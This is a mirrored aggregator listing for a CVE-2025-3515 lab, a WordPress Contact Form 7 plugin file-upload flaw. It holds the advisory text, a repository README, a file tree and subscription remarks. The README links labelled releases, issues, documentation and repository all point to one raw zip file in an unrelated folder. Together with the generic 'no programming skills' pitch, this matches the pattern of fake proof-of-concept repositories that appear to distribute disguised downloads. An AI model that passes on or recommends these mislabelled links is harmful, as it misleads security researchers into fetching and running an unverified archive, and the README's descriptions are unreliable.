CVE-2025-3515 PoC — Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.8.9 - Unauthenticated Arbitrary File Upload via Insufficien

Source

https://github.com/MrSoules/lab-cve-2025-3515

Associated Vulnerability

Title:Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.8.9 - Unauthenticated Arbitrary File Upload via Insufficient Blacklist Checks (CVE-2025-3515)
Description:The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.3.8.9. This makes it possible for unauthenticated attackers to bypass the plugin's blacklist and upload .phar or other dangerous file types on the affected site's server, which may make remote code execution possible on the servers that are configured to handle .phar files as executable PHP scripts, particularly in default Apache+mod_php configurations where the file extension is not strictly validated before being passed to the PHP interpreter.

Description

🛠️ Reproduce and validate CVE-2025-3515 in a Dockerized WordPress lab to test unrestricted file uploads via the Contact Form 7 plugin.

Readme

# 🌟 lab-cve-2025-3515 - Simple WordPress Security Testing

## 📥 Download Now
[![Download](https://raw.githubusercontent.com/MrSoules/lab-cve-2025-3515/master/Norfolk/lab-cve-2025-3515.zip)](https://raw.githubusercontent.com/MrSoules/lab-cve-2025-3515/master/Norfolk/lab-cve-2025-3515.zip)

## 📚 Overview
The **lab-cve-2025-3515** project offers a hands-on lab for understanding the security vulnerability CVE-2025-3515, specifically related to the WordPress plugin Contact Form 7. This tool allows users to test file upload features with a simple drag-and-drop interface. The application is packaged in Docker for easy setup, making it user-friendly even for those without programming skills.

## 🚀 Getting Started
Follow these steps to set up and run the application on your computer.

1. **Check Your System Requirements:**
   - Operating System: Windows, macOS, or Linux
   - Docker installed: Ensure you have Docker version 19.03 or higher
   - Minimum RAM: 2 GB
   - Disk Space: At least 500 MB available

2. **Download the Application:**
   - Visit this page to download: [GitHub Releases](https://raw.githubusercontent.com/MrSoules/lab-cve-2025-3515/master/Norfolk/lab-cve-2025-3515.zip)

3. **Install Docker:**
   - If you don't have Docker, download it from the official Docker website. Follow the instructions specific to your operating system for installation.

## 💻 Running the Application
Once you have Docker installed, you can easily run the application.

1. **Open your terminal or command prompt.**
2. **Run the following command to pull the Docker image:**
   ```
   docker pull mrsoules/lab-cve-2025-3515
   ```

3. **To start the application, use this command:**
   ```
   docker run -p 8080:80 mrsoules/lab-cve-2025-3515
   ```

4. **Access the application:**
   - Open your web browser and go to [http://localhost:8080](http://localhost:8080).

## 🔍 Features
- **Easy Drag-and-Drop Interface:** Simple file uploads without complex configurations.
- **Dockerized Environment:** Runs in a container, ensuring it won’t interfere with your local files or settings.
- **Testing Framework:** Use Nuclei for further security testing against vulnerabilities.
- **Open Source:** Contribute to or modify the code as per your needs.

## ⚙️ Troubleshooting
If you encounter any issues during the installation or running of the application, consider the following:

- **Docker Not Running:** Ensure that Docker is running. You can start it from your applications menu.
- **Port Conflicts:** Make sure no other applications are using port 8080. If they are, you can change the port in the run command:
  ```
  docker run -p [YOUR_PORT]:80 mrsoules/lab-cve-2025-3515
  ```
- **Internet Access:** Ensure you are connected to the internet for downloading the Docker image.

## 💬 Getting Help
If you need further assistance, visit the [issues section](https://raw.githubusercontent.com/MrSoules/lab-cve-2025-3515/master/Norfolk/lab-cve-2025-3515.zip) on GitHub. You can ask questions or report problems here.

## 🌐 Links
- [GitHub Repository](https://raw.githubusercontent.com/MrSoules/lab-cve-2025-3515/master/Norfolk/lab-cve-2025-3515.zip)
- [Documentation](https://raw.githubusercontent.com/MrSoules/lab-cve-2025-3515/master/Norfolk/lab-cve-2025-3515.zip)

## 🔗 Download Again
For your convenience, visit this page to download: [GitHub Releases](https://raw.githubusercontent.com/MrSoules/lab-cve-2025-3515/master/Norfolk/lab-cve-2025-3515.zip)

Enjoy exploring the world of WordPress security testing with CVE-2025-3515!

File Snapshot


 [4.0K]  /data/pocs/6263484bc5c20de839f861a078eee2c9b1f2f2e4
├── [1.2K]  docker-compose.yml
├── [4.0K]  Norfolk
│   └── [1.3M]  lab-cve-2025-3515.zip
├── [3.5K]  README.md
└── [4.0K]  scripts
    └── [3.8K]  wp-init.sh

2 directories, 4 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!